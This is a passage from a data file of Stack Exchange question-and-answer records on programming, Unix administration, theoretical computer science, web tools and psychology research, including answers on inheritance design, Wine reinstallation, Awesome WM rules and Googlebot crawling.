Grandparent's common code.Grandparent { someMethod { do common stuff };}Parent: Grandparent { someMethod { super(); do parent specific stuff }}Kid: Parent { someMethod { duplicate of common stuff do kid specific stuff }}In my book, duplicate code is bad. If only Grandparent wrote its common stuff as a protected method, I wouldn't need to duplicate code. Grandparent { protected commonMethod virtual someMethod}Parent: Grandparent { someMethod { commonMethod do parent specific stuff }}Kid: Parent { someMethod { commonMethod do kid specific stuff }} Should I just completely stop using super and switch to protected methods for running common code? Are there any pitfalls to protected methods for running common stuff?" , "title": "Super vs protected method for running common code" , "tags": "object oriented;inheritance" , "accepted_answer": "No, you shouldn't stop using super, you should stop implementing bad OO designs.Notwithstanding the fact that we're not talking about true inheritance, why are you inheriting from the parent if you don't want its functionality? You're breaking the abstraction. The leaf-level class shouldn't know anything about the actual implementation of the parent, certainly not enough to know that it doesn't want the parent specific stuff to be done.More generally, you should be honouring the Liskov Substitution Principle whenever possible and only creating derived types that can actually be substituted wholesale for the base types. This seems to have been violated here; the parent has altered the contract of the grandparent in such a way that further generations of descendants have to disable it in order to function correctly.As far as I can tell, your kid should be a descendant of grandparent.Separately:There are other ways to avoid duplication. Not everything has to be based on inheritance; composition and plain old referencing are just fine. Make sure you're not violating the SRP.At least in most OO implementations, protected and virtual are not mutually exclusive. An override method is still free to call protected methods of its base, so if you foresee a need for derived classes to use specific functionality of the base, then abstract it into a protected method. That has absolutely no bearing on whether or not another method should be virtual.I think the root of the problem really lies in this sentence:I've been using super in my Javascript... to run common codeInheritance is not primarily a tool for code reuse. It's a tool for... well, inheritance, i.e. when you need to be able to substitute one implementation for another without loss of fidelity (polymorphism) or when the base class won't have all the information it needs to execute a particular operation and it needs to be able to delegate this to a derived class (abstraction).If you're using inheritance for the sole purpose of jamming in code that's frequently used, then you've completely misunderstood the concept; use composition for that, or hell, just write a bunch of functions. There's no reason to try to fake inheritance when the best possible result is still inferior to simpler alternatives." } { "id": "_cstheory.11007" , "question": "Let $G$ be a graph embedded on an orientable compact surface of genus $g$ so that the embedding is cellular. Consider the dual of the graph $G^*$. Let $C_1$ and $C_2$ be disjoint cycles in $G^*$ that are homotopic to each other and let $E_1$ and $E_2$ be their corresponding edge sets in $G$ respectively. Is $G \\setminus (E_1 \\cup E_2)$ a disconnected graph?" , "title": "Does a pair of disjoint homotopic cycles in the dual separate the graph?" , "tags": "graph theory;co.combinatorics;topological graph theory" , "accepted_answer": "Yes. Let me write $\\Sigma$ for the surface on which $G$ and $G^*$ are embedded.Because the cycles $C_1$ and $C_2$ are homotopic, they are also in the same $\\mathbb{Z}_2$-homology class. So by definition, the symmetric difference $C_1\\oplus C_2$ is the boundary of the union of some subset of faces of $G^*$; call this union of faces $U$. (In fact, either $U$ or its complement $\\Sigma\\setminus U$ must be an annulus, but this isn't important.)Because $C_1$ and $C_2$ are disjoint, the symmetric difference $C_1\\oplus C_2$ is equal to the union $C_1\\cup C_2$. In particular, we have $C_1\\oplus C_2\\ne \\varnothing$, which implies that both $U$ and its complement $\\Sigma\\setminus U$ are non-empty. In other words, the subsurface $\\Sigma \\setminus (C_1\\cup C_2)$ is disconnected.Any path in $G$ can be viewed as a path in $\\Sigma$ that avoids the vertices of $G^*$, and vice versa (up to homotopy). Thus, the (graph) components of $G\\setminus (E_1\\cup E_2)$ correspond bijectively to the (surface) components of $\\Sigma \\setminus (C_1\\cup C_2)$. We conclude that $G\\setminus (E_1\\cup E_2)$ is disconnected.The assumption that $\\Sigma$ is orientable is never used." } { "id": "_unix.175089" , "question": "While trying to know where is NMon job configured to run; I do find that it's NOT listed on Crontab (using crontab -l).BUT - the job is currently running as expected, which is weird.See the following output for psserver# ps -ef | grep nmonroot 67043538 1 0 00:01:32 - 0:00 /usr/bin/topas_nmon -x -F /usr/local/log/server.nmon -tA -s 180 -c 480 -youtput_dir=/usr/local/log/server.nmon -ystart_time=00:01:31,Dec20,2014So? where it's configured to be executed; there must be another place rather than crontab.My server is running AIX 6.1- Thanks! :)" , "title": "Where is NMon cron job for AIX?" , "tags": "cron;performance;aix" } { "id": "_unix.341730" , "question": "When I write programs for my own FPGA, I must select UART to emulate a terminal and for my FPGA design but I don't know exactly what that means. I believe that UART is a basic serial transmission protocol, isn't it? And is that the protocol between the program and the terminal and therefore I must choose UART from my programming environment?" , "title": "What is the relation between UART and the tty?" , "tags": "terminal;tty;protocols;uart" , "accepted_answer": "A UART (Universal Asynchronous Receiver Transmitter) is not a protocol, it's a piece of hardware capable of receiving and transmitting data over a serial interface. I presume you are selecting some design block for your FPGA design implementing an UART." } { "id": "_softwareengineering.187556" , "question": "There is an issue which appears while running the application. It is not an Exception, but the desired UI change is not been implemented.While debugging to find the code which should be changed to fix this problem, the UI changes can be seen correctly, To be specific, if we put one breakpoint in the class where it is called, and press the Continue in NetBeans, the problem occurs. But if we step over to the next lines and try to see the state at the end of the debug, the component seems to work perfectly.How can these kind of issues be resolved?" , "title": "While running an application the error occurs, while debugging it doesn't" , "tags": "debugging" } { "id": "_cstheory.5346" , "question": "The Turing machine (TM) is an abstract model for effective implementation of (finite algorithmic) calculation. TM is defined over some alphabet of symbols L and reading data performs a finite sequence of operations on these symbols in the manner described a kind of mapping, let's call it the transition mapping. TM has a certain inner state q which may be one element of a finite set Q. Transition mapping T specifies that if the machine reads in the current cell the symbol x from L.changes it to a symbol x ', and next data would be read from right (R) or left (L) cell. During this operation the state machine will change q to q '. We say that TM is defined as structure $ TM(L,Q,T,\\{ START \\},\\{ STOP \\}) $. But for this discussion it would be easier to say that we define certain sets as $ L'= L + \\{ L,P \\} $ and $ Q' = Q + \\{ START,STOP \\} $ and then we obtain symmetric $ T`: L' \\times Q' -> L' \\times Q' $. Then we omit any primes when it possible, and we define TM as $ TM(L,Q,T) $. We may describe states of TM as $ q_{ij} $ where $ i = 0...N $, $ j = L,P $ and $ q_{0L} =q_{0P} =START $, $ q_{NL} =q_{NP} =STOP $. Transition function is defined such that for given $ q_{ij} $ and symbol $ a_k $ from alphabet $ L $ machine in state $ q_{ij} $ reads $ a_k $ and goes to state $ q_{nm} $ and writes symbol $ a_s $ on the tape. That is:$ T'(q_{ij}, a_k) = T(q_i, a_s,) = (q_n, a_s, x) $ where $a_k, a_s \\in L $ and $x \\in \\{ L,P \\}$We may ask when $T(q_{ij}, a_k)$ defines any ordering relation on $ L \\times Q $ or on $Q$ or even on $ L \\times Q \\times {L,P} $ ?Of course in general there is no such possibility, but in certain situation we may for example has $T(q_{ij}, a_k)$ such that for any $j,k$, $T(q_{ij}, a_k) = (q_{ nm }, a_s)$ and $i \\leq n $. In such situation T defines partial order. In such situation $ Q $ may be a lattice with relation generated by order generated by transition function T.Are there any interesting facts about TM with such (or similar) property?Remark/MotivationI wonder if certain relation of this type,may give us algebraic structure on LxQ set. When the answer is yes, we may ask if TM will stop his computation for every data for example. Of course there are is in some way trivial examples of such transition function T. But suppose what if structure generated by T' is much more complicated for example if it is lattice. I suppose in certain situations it may be not trivial ( trivial one is when You have STOP and START as bounding extrema, and all other states are at the same level) So when it occurs, TM has certain and nontrivial data flow through it graph of states. And structure of it ( eg. lattice) may give us a tool for proving specific properties." , "title": "Turing Machine which generates order on the set of its states" , "tags": "reference request;turing machines;lattice" } { "id": "_cs.53395" , "question": "In my CS computer organization textbook, there's this blurb on the advantage of assembly over a high-level language.Another major advantage of assembly language is the ability to exploit specialized instructions - for example, string copy or pattern-matching instructions. Compilers, in most cases, cannot determine that a program loop can be replaced by a single instruction. However, the programmer who wrote the loop can replace it easily with a single instruction.How can a loop be replaced by string copy or pattern matching? Can somebody give an example on specialized instructions that are not available in a high-level language and how a specialized instruction can replace a loop?" , "title": "Examples of specialized instructions of assembly language not available in compilers?" , "tags": "programming languages;compilers" , "accepted_answer": "Some machines have complex processor instructions that can do the same job as a loop with a simple body. For example, x86 processors have an instruction scasb instruction that searches for a byte value; the C strlen function, which searches for a null byte and can be written in C aswhile (*p != 0) p++;can be written in x86 assembly asrepne scasbAnother example is bit counting. Many processors have instructions to do things like finding the number of bits that are set in a word, or finding the index of the lowest-order set bit in a word. However, most programming languages have no operator or function for that, so the programmer has to write a loop likebit_count = 0;while (n != 0) { if (n & 1) ++bit_count; n = n >> 1;}whereas recent x86_64 processors have an instruction for that:popcntSome C compilers provide extensions to the standard language that give access to this instruction (and compile to a loop-based form if such an instruction doesn't exist on the target machine).Yet another example is instructions that accelerate some common cryptographic algorithms (e.g. AES-NI on recent x86 processors). Unlike the previous two, this example is of interest only to the rarefied world of cryptography implementers, so compiler writers are less inclined to provide ways to generate those instructions apart from inline assembly.Your textbook seems somewhat dated to me. Loop instructions hard-wired in processors are a very CISC feature that most modern processors don't have, the notable exception being the x86 architecture where it is implemented in microcode for backward compatibility. Compilers have become better at understanding what a piece of code including a simple loop does, and converting them to optimized machine instructions. The statement Compilers, in most cases, cannot determine that a program loop can be replaced by a single instruction is not always true for 21st century compilers. It is sometimes true; for example I can't seem to get GCC to recognize my naive popcnt implementation above." } { "id": "_cs.68478" , "question": "I would like to confirm below understanding, A binary tree is a tree data structure in which each node has at most two children, which are referred to as the left child and the right child.Insertion:In binary trees, a new node before insert has to specify 1) whose child it is going to be 2) mention whether new node goes as left/right child. For example(below image),To add a new node to leaf node, a new node should also mention whether new node goes as left/right child.Deletion:For deletion, only certain nodes in a binary tree can be removed unambiguously.Suppose that the node to delete is node A. If A has no children, deletion is accomplished by setting the child of A's parent to null. If A has one child, set the parent of A's child to A's parent and set the child of A's parent to A's child.In a binary tree, a node with two children cannot be deleted unambiguously.Is this understanding correct ?" , "title": "Operation on binary tree" , "tags": "data structures;binary trees" } { "id": "_codereview.90190" , "question": "Some people complain about if - statements and I really appreciate that attitude. Actually I plan to abandon the entire keyword in order to awesomize my code, which is:Algorithm.java:package net.coderodde.noxx;import java.util.Arrays;import java.util.Random;/** * This is algorithm. It works as .. there is no need for .. - statements. * It proves that there is no need for .. - statements. */public class Algorithm { /** * ..less algorithm for finding the index of a maximum integer in an array. * * @param array the array to search. * @return the index of the maximum element or -1 if the array is * <code>null</code> or has length zero. */ public static final int indexOfMaximum(final int[] array) { int max; int index; // Here supposed check whether array is null or empty, but we are not // supposed to use ..-statements. Use exceptions instead! try { max = array[0]; index = 0; } catch (final NullPointerException | ArrayIndexOutOfBoundsException ex) { return -1; } for (int i = 1; i < array.length; ++i) { // Why not to use for's test condition instead of ..? for (int j = 0; j < testIsGreater(array[i], max); ++j) { max = array[i]; index = i; } } return index; } /** * Life is so much easier now without .. . */ private static int testIsGreater(final int element, final int max) { return element - max; } public static void main(final String... args) { final Random rnd = new Random(); final int[] array = new int[10]; for (int i = 0; i < array.length; ++i) { array[i] = rnd.nextInt(1301) - 300; } final int index = indexOfMaximum(array); final int check = Arrays.stream(array).max().getAsInt(); System.out.println(Maximum integer: + array[index] + and + check); }}AlgorithmTest.java:package net.coderodde.noxx;import static net.coderodde.noxx.Algorithm.indexOfMaximum;import org.junit.Test;import static org.junit.Assert.*;public class AlgorithmTest { /** * My tests use .. neither! Ain't this keeewl?? */ @Test public void testIndexOfMaximum() { int[] array = new int[0]; assertEquals(-1, indexOfMaximum(array)); assertEquals(-1, indexOfMaximum(null)); array = new int[]{3, 2, 1, 4, 5, 1 }; assertEquals(4, indexOfMaximum(array)); array = new int[]{3}; assertEquals(0, indexOfMaximum(array)); array = new int[]{3, 4, 1, 7}; assertEquals(3, indexOfMaximum(array)); } }So is it kewl to awesomize the code this way?" , "title": "Finding the maximum of an array without using explicit conditionals" , "tags": "java" , "accepted_answer": "Some people complain about .. - statements and I really appreciate that attitude. Actually I plan to abandon the entire keyword in order to awesomize my codeI'm wondering what complaints you're referring to.In any case, I don't think you succeeded in awesomizing,but rather in suckifying.// Here supposed check whether array is null or empty, but we are not// supposed to use ..-statements. Use exceptions instead!try { max = array[0]; index = 0;} catch (final NullPointerException | ArrayIndexOutOfBoundsException ex) { return -1;}The statement in the comment is plain wrong.You are supposed to use if statement to check for nulls and array bounds.(Recommended reading: Item 57 in Effective Java by Joshua Bloch.)Exceptional logic shouldn't be used for normal program flow.What you're doing here is essentially input validation,which fits well within the bounds of normal program flow.Just use an if statement.// Why not to use for's test condition instead of ..?for (int j = 0; j < testIsGreater(array[i], max); ++j) { max = array[i]; index = i;}Because this is horrible code,obfuscating an otherwise simple logic,and looping unnecessarily./** * Life is so much easier now without .. . */private static int testIsGreater(final int element, final int max) { return element - max;}Is life really easier? Harder to read, with no benefits whatsoever, so no it isn't.Also a poor name for a function. isGreater would have been better.Related discussions:https://stackoverflow.com/questions/299068/how-slow-are-java-exceptionshttps://stackoverflow.com/questions/12265451/ask-forgiveness-not-permission-explain" } { "id": "_webmaster.61423" , "question": "I implemented the unavailable_after tag in my pages like the below and set to unavailable after 3 days but in Google Webmaster Tools I got 404 for that page.<META NAME=GOOGLEBOT CONTENT=unavailable_after: 05-May-2014 15:00:00 EST>How do I know Googlebot visit(crawl) my pages again to read this tag (or) how long Googlebot will take to crawl the pages again ? please give me a suggestion!.Note: I set unavailable_after tag for certain content types(not whole website) with highest priority(1.0) in XML sitemap." , "title": "How do I find when Googlebot will visit(crawl) my pages again?" , "tags": "seo;google search console;googlebot" , "accepted_answer": "Googlebot recrawls pages with a frequency based on how popular they are and how often they have changed in the past. CNN's home page gets crawled every few minutes. A PageRank 0 page near the back of an unpopular blog may only get crawled monthly.As a general rule of thumb, I allow two to three weeks for all the pages on my site to get recrawled when I make changes.I don't believe that Googlebot actually uses the crawl priority or change date in XML sitemaps to trigger recrawls. The only way that I know to force Google to crawl a page is to use the Fetch as Google feature in Webmaster Tools. That tool has a limit of 1000 pages that have to be submitted manually one by one.See: How to request Google to re-crawl my website?" } { "id": "_softwareengineering.287150" , "question": "How does a Kernel provides different functionality to OS? Does it use the BIOS routines or use special device drivers for this, or something else? If uses BIOS how does it come to know which routine performs what because different BIOS vendors have different coding? If not then what's the use for BIOS routines?" , "title": "Relation between Kernel & BIOS routines" , "tags": "operating systems;kernel;bios" } { "id": "_unix.298181" , "question": "So I've installed Syncthing and I'm running in a lot of problems getting this program to run as root on boot. For some reason it always runs as the default user ( thom ), but I boot into root and tell it to run as root. The command looks like this:sudo start-stop-daemon --start --quiet --background --chuid root --exec /usr/bin/syncthing -- --no-browserAnd is placed inside rc.local. Running rc.local manually AFTER booting works fine, the booting itself is not working. This is the only program thus far that's consistently running as the wrong user. Perhaps someone can help point out what exactly I'm doing wrong?" , "title": "Command ran as wrong user on boot while explicitly being told to run as root" , "tags": "users;startup;daemon" } { "id": "_unix.56082" , "question": "Currently, I have both the gajim and skype windows visible as both icons (in systray) and window labels (in mytasklist). How can I remove that latter so that it is not shown since I do not need two instances of the same thing cluttering my wibox. " , "title": "Awesome wibox: remove tag label" , "tags": "awesome" , "accepted_answer": "To have a window not appear in the tasklist, you have to set skip_taskbar to true for the client.As you want to do that for specific applications, probably the best way is to add a client rule to your rc.lua:awful.rules.rules = { { rule = { class = {Gajim,Skype} }, properties = { skip_taskbar = true } }, -- other rules ...}You may have to change the values for class. To get the window class of a X program, call xprop WM_CLASS from a terminal, then click on the window you want to match. This should output 2 values (e.g. WM_CLASS(STRING) = Zsh, URxvt). The second one is the one for class. The first one can be matched with instance and may be used to differentiate between windows from the same program.See also Awesome Wiki for more on rules and Awesome API docs for a list of properties you can set with rules." } { "id": "_cogsci.8633" , "question": "Are there any studies on the possibility of visually recognizing someone's personality?When I say visually recognizing I mean things like clothes, accessories, body attitude, visible behavior, vehicles driven etc.When I say personality I mean things like Big 5 traits, personal motivations (money, love, attention, etc) and life goals (die rich, have a happy family, have high career, etc).For instance, I realized that big seller personalities (loves money, loves attention, will lie for any sale, loves to manipulate) would wear (or want) a gold watch. So when you see someone wearing a gold watch there is a high chance the person is a big seller-personality.In general, I would claim that everyone spends the most money, the most time and the most attention on what is most important to them. But what is the most important owned properties for different personalities?" , "title": "Studies on visually recognizable personality traits?" , "tags": "personality;sensation;recognition" , "accepted_answer": "I am currently reading a book called Snoop, written by researcher Sam Gosling (I recommend this very interesting book!). He's doing just the kind of research I am looking for, and thus I've found tons of research documents on these things:Our research focuses on the following issues:Everyday manifestations of personality Which cues are reliably linked to what individuals are like?Everyday person perception Which cues do individuals use to form their impressions of others?Consensus Do observers agree with one another in their impressions of others?Accuracy Are observers impressions of others accurate?Stereotype use how do stereotypes hinder or promote consensus and accuracy? - http://gosling.psy.utexas.edu/current-research/everyday-manifestations-of-personality/http://gosling.psy.utexas.edu/publications/The expression and perception of personality in everyday lifeBack, M. D., Stopfer, J. M., Vazire, S., Gaddis, S., Schmukle, S. C., Egloff, B., & Gosling, S. D. (2010). Facebook profiles reflect actual personality not self-idealization. Psychological Science, 21, 372-374.Carney, D. R., Jost, J. T., Gosling, S. D., & Potter, J. (2008). The secret lives of liberals and conservatives: Personality profiles, interaction styles, and the things they leave behind. Political Psychology, 29, 807-840.Gebauer, J. E., Bleidorn, W., Gosling, S. D., Rentfrow, P. J., Lamb, M. E., & Potter, J. (in press). Cross-Cultural Variations in Big Five Relations with Religiosity: A Socio-Cultural Motives Perspective. Journal of Personality and Social Psychology.Gosling, S. D., Augustine, A. A., Vazire, S., Holtzman, N., & Gaddis, S. (2011). Manifestations of personality in Online Social Networks: Self-reported Facebook-related behaviors and observable profile information. Cyberpsychology, Behavior, and Social Networking, 14, 483-488. [DOI: 10.1089/cyber.2010.0087]Gosling, S. D., Gaddis, S., & Vazire, S. (2008). First impressions based on the environments we create and inhabit. In N. Ambady, & J. J. Skowronski (Eds.), First Impressions (pp. 334-356). New York: Guilford.Gosling, S. D., Gifford, R., & McCunn, L. (2013). The selection, creation, and perception of interior spaces: An environmental psychology approach. In G. Brooker & L. Weinthal (Eds.), The Handbook of Interior Design (pp. 278-290). Oxford, UK: Berg.Gosling, S. D., Ko, S. J., Mannarelli, T., & Morris, M. E. (2002). A Room with a cue: Judgments of personality based on offices and bedrooms. Journal of Personality and Social Psychology, 82, 379-398. [Available in pdf]Gosling, S. D., Sandy, C. J., & Potter, J. (2010). Personalities of self-identified dog people and cat people. Anthrozos, 23, 213-222.Graham, L. T., & Gosling, S. D. (2012). Impressions of World of Warcraft players personalities based on their usernames: Interobserver consensus but no accuracy. Journal of Research in Personality, 46, 599-603.Graham, L. T., & Gosling, S. D. (2013). Personality profiles associated with different motivations for playing World of Warcraft. Cyberpsychology, Behavior, and Social Networking, 16, 189-193.Graham, L. T., & Sandy, C. J., & Gosling, S. D. (2011). Manifestations of individual differences in physical and virtual environments. In T. Chamorro-Premuzic, S. von Stumm, & A. Furnham (Eds.), Handbook of Individual Differences (pp. 773-800). Oxford: Wiley-Blackwell.Mehl, M. R., Gosling, S. D., & Pennebaker, J. W. (2006). Personality in its natural habitat: Manifestations and implicit folk theories of personality in daily life. Journal of Personality and Social Psychology, 90, 862-877.Naumann, L. P., Vazire, S., Rentfrow, P. J., & Gosling, S. D. (2009). Personality judgments based on physical appearance. Personality and Social Psychology Bulletin, 35, 1661-1671Obschonka, M., Schmitt-Rodermund, E., Silbereisen, R. K., Gosling, S. D., & Potter, J. (2013). The regional distribution and correlates of an entrepreneurship-prone personality profile in the United States, Germany, and the United Kingdom: A socioecological perspective. Journal of Personality and Social Psychology, 105, 104-122. [DOI: 10.1037/a0032275]Rentfrow, P. J., Goldberg, L. R., Stillwell, D. J., Kosinski, M., Gosling, S. D., & Levitin, D. J. (2012). The song remains the same: A replication and extension of the MUSIC model. Music Perception, 30,161-185. [DOI: 10.1525/MP.2012.30.2.161]Rentfrow, P. J., & Gosling, S. D. (2003). The do re mis of everyday life: The structure and personality correlates of music preferences. Journal of Personality and Social Psychology, 84, 1236-1256. [Available in pdf]Rentfrow, P. J., & Gosling, S. D. (2006). Message in a Ballad: The role of music preferences in interpersonal perception. Psychological Science, 17, 236-242. [Available in pdf]Rentfrow, P. J., & Gosling, S. D. (2007). The content and validity of music-genre stereotypes among college students. Psychology of Music, 35, 306-326.Rentfrow, P. J., Gosling, S. D., Jokela, M., Stillwell, D. J., Kosinski, M., & Potter, J. (2013). Divided We Stand: Three Psychological Regions of the United States and their Political, Economic, Social, and Health Correlates. Journal of Personality and Social Psychology, 105, 996-1012. [DOI: 10.1037/a0034434]Rentfrow, P. J., Gosling, S. D., & Potter, J. (2008). A theory of the emergence, persistence, and expression of geographic variation in psychological characteristics. Perspectives on Psychological Science, 3, 339-369.Sandy, C. J., Gosling, S. D., & Durant, J. (2013). Predicting Consumer Behavior and Media Preferences: The Comparative Validity of Personality Traits and Demographic Variables. Psychology and Marketing, 30, 937-949. [DOI: 10.1002/mar.20657]Swann, W. B., Jr., Rentfrow, P. J., & Gosling, S. D. (2003). The precarious couple effect: Verbally inhibited men + critical, disinhibited women = bad chemistry. Journal of Personality and Social Psychology, 85, 1095-1106. [Available in pdf]Vazire, S., Naumann, L. P., Rentfrow, P. J., & Gosling, S. D. (2009). Smiling reflects different emotions in men and women. Behavioral and Brain Sciences, 32, 403-405.Vazire, S., Naumann, L. P., Rentfrow, P. J., & Gosling, S. D. (2008). Portrait of a narcissist: Manifestations of narcissism in physical appearance. Journal of Research in Personality, 42, 1439-1447.Vazire, S. & Gosling, S. D. (2004). e-perceptions: Personality impressions based on personal websites. Journal of Personality and Social Psychology, 87, 123-132. [Available in pdf]Wilson, R. E., Gosling, S. D., & Graham, L. T. (2012). A review of Facebook research in the social sciences. Perspectives on Psychological Science, 7, 203-220. [DOI 10.1177/1745691612442904]Anderson, C. P., Ames, D. R., & Gosling, S. D. (2008) Punishing hubris: The perils of status self-enhancement in teams and organizations. Personality and Social Psychology Bulletin, 34, 90-101.Erdle, S., Gosling, S. D., & Potter, J. (2009). Does self-esteem account for the higher-order factors of the Big Five? Journal of Research in Personality, 43, 921-922.Gosling, S. D., Sandy, C. J., & Potter, J. (2010). Personalities of self-identified dog people and cat people. Anthrozos, 23, 213-222.Gosling, S. D., & Srivastava, S. (2011). Changes in perceptions of George W. Bushs personality in the wake of the September 11 2001 World Trade Center attacks. Acta de Investigacin Psicolgica, 3, 486-490.Jost, J. T., Hawkins, C. B., Nosek, B. A., Hennes, E. P., Stern, C., Gosling, S. D., & Graham, J. (2014). Belief in a Just God (and a Just Society): A System Justification Perspective on Religious Ideology. Journal of Theoretical and Philosophical Psychology, 34, 56-81. [Translated to: Jost, J. T., Hawkins, C. B., Nosek, B. A., Hennes, E. P., Stern, C., Gosling, S. D., & Graham, J. (in press). Creencia en un dios justo: La Religin como una forma de Justificacin del Sistema. Psicologia Politica, 47, 55-89.]Mathieu, M. T., & Gosling, S. D. (2012). The accuracy or inaccuracy of affective forecasts depends on how the question is framed: A meta-analysis of past studies. Psychological Science, 23, 161-162. [DOI: 10.1177/0956797611427044]Pennebaker, J. W., Gosling, S. D., & Ferrell, J. (2013). Daily online testing in large classes: Boosting college performance while reducing achievement gaps. PLOS ONE, 9, e79774. [doi:10.1371/journal.pone.0079774]Ramrez-Esparza, N., Gosling, S. D., & Pennebaker, J. W. (2008). Paradox lost: Unraveling the puzzle of Simpatia. Journal of Cross-Cultural Psychology, 39, 685-702.Robins, R. W., Tracy, J. L., Trzesniewski, K. H., Potter, J., & Gosling, S. D. (2001). Personality correlates of self-esteem. Journal of Research in Personality, 35, 463-482. [Available in pdf]Vazire, S., Naumann, L. P., Rentfrow, P. J., & Gosling, S. D. (2009). Smiling reflects different emotions in men and women. Behavioral and Brain Sciences, 32, 403-405.Wood, D., Gosling, S. D., & Potter, J. (2007). Normality evaluations and their relation to personality traits and well-being. Journal of Personality and Social Psychology, 93, 861-879." } { "id": "_unix.333116" , "question": "I'm using Linux Mint 18 Sarah MATE 32 bit and I'm trying to download Game Maker Studio off of Wine 1.6.2. It was named GMStudio-Installer-1.4.1763.exe.At first the installation process went perfectly, but Game Maker Studio didn't work. Then Wine wasn't working anymore. So I uninstalled it and reinstalled Wine. Then I tried it again but it said (exactly):Installation failed.This software requires Windows Framework 3.5.* or higherNo version of Windows Framework is installed.Please update your computer at https://windowsupdate.microsoft.com/.Now I can't install anything off of Wine anymore.I looked up what to do on WineHQ, but no luck." , "title": "Wine not working for Linux Mint 18 Sarah. Trying to run Game Maker Studio, with no luck" , "tags": "linux mint;wine;programming" , "accepted_answer": "Run the following command as root:rm -r /home/[enter your username here]/.wineThis will remove the entire Wine system.Now reinstall Wine. This will depend on your package manager.Finally, rebuild Wine by running winecfg as your normal user." } { "id": "_codereview.4473" , "question": "Im running a photocontest and making a list of winners with one winner each day. My loop is running very slow. It seams to be the toList() that is time consuming. Any suggestions on how to make it run faster?foreach (var date in dates) { var voteList = _images.Select(image => new ImageWinnerVotes { ID = image.ID, Image = image.ImagePath, Thumbnail = image.ThumbnailImagePath, Title = image.Name, Url = GetFriendlyUrl(image.ID), Date = image.CreatedDate, WinnerDateString = date.Date.ToString(dd/MM), WinnerDate = date.Date, TotalVotes = (votes.Where(vote => vote.ItemId == image.ID)).Count(), Name = image.Fields[Name].ToString(), Votes = (votes.Where( vote => vote.ItemId == image.ID && vote.Date.DayOfYear == date.Date.DayOfYear)).Count() }).ToList(); voteList = voteList.OrderByDescending(v => v.Votes).ToList(); var j = 0; var findingWinner = true; while(findingWinner) { var inWinnersList = false; if (winnersList.Count() != 0) { if(!winnersList.Contains(voteList.ElementAt(j))) { winnersList.Add(voteList.ElementAt(j)); findingWinner = false; } } else { winnersList.Add(voteList.ElementAt(j)); findingWinner = false; } j++; } }" , "title": "Linq in foreach with c#" , "tags": "c#;linq" } { "id": "_codereview.27067" , "question": "In my controller I had the idea to do something like the following:// retrieve fields from form$firstname = $form->getInput('firstname');$lastname = $form->getInput('lastname');[...]// create Member object$member = new Member($firstname, $lastname, [...]);// save Member in DB$this->_daoFactory->get('Member')->save($member);In this example, the DAO factory would create an instance of the MemberDAO class, which (I guess) acts like a data mapper? And allows me to save the Member object in DB, to update a Member, get a Member from id, and other db requests probably.What do you think about this code?Thank you for your review!" , "title": "Is this a good way for Controller to interact with Model ? (MVC)" , "tags": "php;mvc" } { "id": "_unix.203330" , "question": "I want to add toolbar buttons to KDE titlebars to avoid using the menu for certain tasks. As an example I want to be able to get a screen to stay on top until I disable it. eg. KDE titlebars have a menu item More Actions -> Keep Above Others.How would I add a button to enable or disable it with one click?" , "title": "How can I add a toolbar button to KDE titlebars?" , "tags": "kde;toolbar" , "accepted_answer": "One solution would be to assign a keyboard shortcut for that kwin action. Open systemsettings => shortcuts and gestures and choose Global Keyboard Shortcuts in the left panel, and on the right pane select KWin at the KDE component dropdown menu.And for the button, if you only want to trigger built-in functions, that is pretty easy to add, you can also configure that in systemsettings => workspace appearance. Click on Configure Buttons ... at the bottom, and enable Use custom titlebar button positions. Then simply drag&drop the actions to the place where you want it on the titlebar, and add spacers as needed.See also http://www.linuxbsdos.com/2012/07/04/how-to-custmize-kdes-window-titlebar-buttons/ for a detailed description with screenshots.If you want to add custom actions, you might need to have a look into the KWin scripting facilities:https://techbase.kde.org/Development/Tutorials/KWin/Scriptinghttps://techbase.kde.org/Development/Tutorials/KWin/Scripting/API_4.9How can I run a kwin script from the command line?If you would really want to add a custom button to the titlebar, you would need to customize or create the window decoration in an existing or new theme for that." } { "id": "_softwareengineering.250844" , "question": "I'm looking for a book to learn how to implement interpreters for programming languages. Thing is there are much more 'compiler books' than 'interpreter books'. So my question is: can I read a book that teaches how to build compilers, to learn how to build interpreters (at a very beginner level)? Is this a good idea? If so, what do I need to keep in mind while reading?" , "title": "Is a book that teaches how to build compilers good for learning to implement interpreters?" , "tags": "learning;books;compiler;interpreters" , "accepted_answer": "Absolutely - an interpreter is just a one line at a time compiler. It performs much the same task, that of taking some form of human-understandable source code and turning it into something a computer processor can understand. A compiler will do this for entire source file(s), whereas an interpreter will do this on an as-read basis. You will need to handle a few differences around loading source as needed, and handling parsing source files to find the next line to read, but otherwise you'll be implementing a compiler fundamentally." } { "id": "_softwareengineering.194615" , "question": "I'm developing a WordPress theme and am planning to sell it myself. I was thinking of having a 14- or 30-day refund policy for customers, but my concern is that people can essentially get the theme for free, if they: 1) buy it, 2) download the files, and then 3) request a refund. Then they would have both the theme and their money back.I've been looking into software refund policies and noticed there are a few different schools of thoughts on providing customer refunds:School of Thought #1 - Provide refunds. If your software is good quality, not many people will request a refund. My response: But in my case, even if users think the theme is high quality, they can still request a refund and also keep the theme. I have also put a lot of work into the development and testing of the theme, so it is quality work.School of Thought #2 - Provide refunds, but some customers will abuse the refund process, so have an activation code and only provide refunds to people who have not activated the software. My response: This sounds like a good idea, but there isn't an activation mechanism for themes in WordPress, so I don't know how I could implement it.School of Thought #3 - No refunds. My response: This seems really inflexible. I'm not against refunding customer payments for good reason, but I don't want to give away my work, either.Have you heard of any other good options in setting up a refund policy?" , "title": "Setting up a refund policy for a commercial WordPress theme" , "tags": "customer relations" , "accepted_answer": "Have a read of Joel On Software's blog post about 7 steps to customer service.In particular, Step 7 is apropos to your concerns.They run with a 90 day policy for requesting refunds, and per the article, it's cost them 2%. Joel Spolsky also creates a correlation between the customers feeling empowered in the transaction; being nice to customer service reps; and no real abuse of their refund system.The entire article is well worth reading, and I think you'll pick up some gems as you build your business." } { "id": "_webapps.27288" , "question": "Strangely enough, I couldn't find any info about this, which I would have thought is a common problem.I want to share a folder with another person I work with. I want to give them the same permissions as I have, not just edit. I want to make them owners of that folder. Is that possible at all?" , "title": "How to Set Several Owners for a Google Drive Folder" , "tags": "google drive" , "accepted_answer": "Only one person can own a folder in Google Drive. You can allow access to other people, but there can be only one owner.http://support.google.com/drive/bin/answer.py?hl=en&answer=2494886" } { "id": "_cs.33890" , "question": "I know that the general consensus among CS researchers is that non-relativizing techniques will be needed to separate P and NP. However, if there is an oracle language $A \\in \\textbf{P}$ such that ${\\textbf{P}}^A \\neq {\\textbf{NP}}^A$ would that necessarily imply ${\\textbf{P}} 